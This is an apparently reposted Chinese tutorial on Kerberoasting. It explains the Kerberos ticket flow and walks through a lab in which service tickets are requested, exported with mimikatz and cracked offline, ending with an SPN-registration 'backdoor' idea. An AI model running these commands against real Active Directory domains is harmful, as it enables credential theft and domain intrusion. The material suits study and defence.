您好,登錄后才能下訂單哦!
這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)Kerberoasting攻擊的示例分析,文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
0x01介紹
當(dāng)發(fā)布Windows 2000和Active Directory時(shí),微軟打算在 Windows NT 和Windows 95 上也支持Active Directory,這意味著不僅會(huì)產(chǎn)生各種各樣的安全問(wèn)題也會(huì)導(dǎo)致更多不安全的配置方式。同時(shí),也意味著,微軟要保證在多個(gè)不同版本的 Windows 客戶(hù)端上均支持Kerberos協(xié)議。要實(shí)現(xiàn)這個(gè)想法的一個(gè)簡(jiǎn)單的辦法就是在Kerberos協(xié)議中使用RC4加密算法,并將NTLM密碼哈希作為該加密算法的私鑰,該私鑰可用于加密或簽名Kerberos票證。因此,對(duì)于攻擊者來(lái)說(shuō),一旦發(fā)現(xiàn)了 NTLM 密碼哈希,就可以隨意使用,包括重新拿回Active Directory域權(quán)限(比如:黃金票證和白銀票證攻擊)。
0x02 Kerberos通信流程
這里借鑒一下網(wǎng)上給出的Kerberos的通信流程
用戶(hù)使用用戶(hù)名和密碼進(jìn)行登錄
1a.將原始的明文密碼轉(zhuǎn)換為NTLM哈希,再將這個(gè)哈希和時(shí)間戳一起加密。最后,將加密的結(jié)果作為身份驗(yàn)證者發(fā)送到KDC進(jìn)行身份驗(yàn)證的票據(jù)(TGT)請(qǐng)求(AS-REQ)。
1b.域控(KDC)檢查用戶(hù)信息(登錄限制,組成員等)并創(chuàng)建票證授權(quán)票證(Ticket Granting Ticket-TGT)。
2.將TGT加密,簽名并返回給用戶(hù)(AS-REP)。只有域中的Kerberos服務(wù)(KRBTGT)才能打開(kāi)和讀取TGT數(shù)據(jù)。
3.當(dāng)用戶(hù)請(qǐng)求票證授權(quán)服務(wù)(TGS)票證(TGS-REQ)時(shí),會(huì)將TGT發(fā)送給DC。 DC打開(kāi)TGT并驗(yàn)證PAC校驗(yàn)和 – 如果DC可以打開(kāi)票證并且校驗(yàn)和也可以驗(yàn)證通過(guò),那么這個(gè)TGT就是有效的。之后,復(fù)制TGT中的數(shù)據(jù)用于創(chuàng)建TGS票證。
4.使用目標(biāo)服務(wù)帳戶(hù)的NTLM密碼哈希對(duì)TGS進(jìn)行加密并將加密結(jié)果發(fā)送給用戶(hù)(TGS-REP)。
5.用戶(hù)連接到服務(wù)器托管的服務(wù)的相應(yīng)端口上并發(fā)送TGS(AP-REQ)給服務(wù)器。被托管的服務(wù)會(huì)使用服務(wù)賬戶(hù)的NTLM密碼哈希打開(kāi)TGS票證。
6.如果客戶(hù)端需要進(jìn)行相互之間的身份驗(yàn)證(可以想想MS15-011:在2月份發(fā)布的強(qiáng)化UNC的組策略補(bǔ)丁)就會(huì)執(zhí)行這一步。
在第四步的時(shí)候,用戶(hù)將受到由目標(biāo)服務(wù)實(shí)例的NTLM hash加密生成的TGS,他的加密算法為RC4-HMAC,那么我們?cè)讷@得這個(gè)TGS后,便可以通過(guò)窮舉的方式,生成TGS與它進(jìn)行比較,如果相同,就可以代表密碼正確
然后還有幾點(diǎn)是需要大家明白的
1.當(dāng)域控查詢(xún)某一個(gè)服務(wù)的SPN時(shí)
如果該SPN注冊(cè)在機(jī)器賬戶(hù)computers下,將會(huì)查詢(xún)所有機(jī)器賬戶(hù)的servicePrincipalName屬性,找到所對(duì)應(yīng)的賬戶(hù)。
如果是注冊(cè)在域用戶(hù)賬戶(hù)users下,將會(huì)查詢(xún)所有域用戶(hù)賬戶(hù)的servicePrincipalName屬性,找到其所對(duì)應(yīng)的賬戶(hù)。
找到對(duì)應(yīng)的賬戶(hù)之后,使用它的NTLM hash生成TGS。
2.域內(nèi)的所有主機(jī)都是可以查詢(xún)SPN的
3.域內(nèi)的任何用戶(hù)都是可以向域內(nèi)的任何服務(wù)請(qǐng)求TGS
所以,域內(nèi)的任何一臺(tái)主機(jī),都可以通過(guò)查詢(xún)SPN,向域內(nèi)的所有服務(wù)請(qǐng)求TGS,然后進(jìn)行暴力破解,但是對(duì)于破解出的明文,只有域用戶(hù)的是可以利用的,機(jī)器賬戶(hù)的不能用于遠(yuǎn)程連接,所以我們的關(guān)注點(diǎn)主要就在域用戶(hù)下注冊(cè)的SPN。
0x03 實(shí)驗(yàn)
首先我們先登陸服務(wù)器
域控
192.168.5.130
Administrator/secquan.org666
Win7
192.168.5.238
機(jī)器賬號(hào)SECQUAN_WIN7-PC\secquan_win7
機(jī)器密碼secquan.org666
域用戶(hù)賬號(hào)ZHUJIAN\win7
域用戶(hù)密碼secquan.org123
我們使用下列命令來(lái)進(jìn)行查詢(xún)
setspn -q */*
緊接著,我們來(lái)給域用戶(hù)下的MSSQL服務(wù)注冊(cè)SPN
setspn -A MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com zhujian\win7
然后 請(qǐng)求SPN Kerberos Tickets
Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList " MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com "
比之前多了一條,且加密類(lèi)型是RC4-HMAC
然后使用mimikatz來(lái)導(dǎo)出票據(jù)
接下來(lái)便可以使用tgsrepcrack或者保存hash使用hashcat破解
這里我們使用tgsrepcrack來(lái)進(jìn)行測(cè)試
python tgsrepcrack.py mima.txt 1-40a00000-win7@MSSQLSvc~SECQUAN_WIN7-PC.zhujian.com-ZHUJIAN.COM.kirbi
可以發(fā)現(xiàn)已經(jīng)成功爆破得到密碼
PS:使用其他工具的方法都是類(lèi)似的,工具都一樣,重點(diǎn)在字典上
0x04 kerberoasting后門(mén)利用
如果我們有了SPN的注冊(cè)權(quán)限,我們就可以給指定的域用戶(hù)注冊(cè)一個(gè)SPN,然后獲取到TGS,然后破解得到密碼
上述就是小編為大家分享的Kerberoasting攻擊的示例分析了,如果剛好有類(lèi)似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。